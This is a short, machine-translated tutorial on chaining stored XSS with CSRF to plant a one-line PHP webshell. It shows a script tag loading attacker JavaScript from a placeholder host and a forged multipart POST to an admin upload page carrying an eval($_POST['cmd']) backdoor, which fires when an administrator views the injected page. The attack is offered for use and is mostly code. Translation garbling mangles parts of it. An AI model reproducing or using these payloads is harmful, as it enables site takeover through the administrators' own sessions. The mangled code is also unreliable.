Xss + csrf: How can I upload a sentence?

Xss + csrf: How can I upload a sentence?
I hope it will be useful to you. Title: xss + csrf prerequisites for uploading a sentence: you must know the background upload point. 1. Find the place where xss exists to submit the code: for example: <script src = http://xxx.com/js.js> </script> 2. Construct the js.

Var request = false; if (window. XMLHttpRequest) {request = new XMLHttpRequest (); if (request. overrideMimeType) {request. overrideMimeType ('text/xml');} else if (window. activeXObject) {var versions = ['Microsoft. XMLHTTP ', 'msxml. XMLHTTP ', 'Microsoft. XMLHTTP ', 'msxml2. XMLHTTP.7.0 ', 'msxml2. XMLHTTP.6.0 ', 'msxml2. XMLHTTP.5.0 ', 'msxml2. XMLHTTP.4.0 ', 'msxml2. XMLHTTP.3.0 ', 'msxml2. XMLHTTP ']; for (var I = 0; I <versions. length; I ++) {try {request = new ActiveXObject (versions) ;}catch (e) {}} xmlhttp = request; var url =" http://www.xxxx.com/admin/upload.php "; // The upload location is var params =" ------------------------------- 223972503529236 \ r \ n "+" Content-Disposition: form-data; name = \ "title \" \ r \ n "+" ----------------------------- 223972503529236 \ r \ n "+" Content-Disposition: form-data; name = \ "name \" \ r \ n "+" ----------------------------- 223972503529236 \ r \ n "+" Content-Disposition: form-data; name = \ "file \"; filename = \ "ystrap. php \ "\ r \ n" + "Content -Type: application/octet-stream \ r \ n "+" \ r \ n "+" <? Php @ eval ($ _ POST [\ 'cmd \ '])?> \ R \ n "+" --------------------------- 223972503529236 -- \ r \ n "; // The information can be obtained through the local background upload point capture. Xmlhttp. open ("POST", url, true); xmlhttp. setRequestHeader ("Accept", "text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8"); xmlhttp. setRequestHeader ("Accept-Language", "de-de, de; q = 0.8, en-us; q = 0.5, en; q = 0.3"); xmlhttp. setRequestHeader ("Content-Type", "multipart/form-data; boundary = --------------------------- 223972503529236"); xmlhttp. withCredentials = "true"; var aBody = new Uint8Array (params. length); for (var I = 0; I <aBody. length; I ++) aBody [I] = params. charCodeAt (I); xmlhttp. send (new Blob ([aBody]);

 

3. Wait for the management to check whether you have sent the message to the xss in the background, so that the upload will be successful.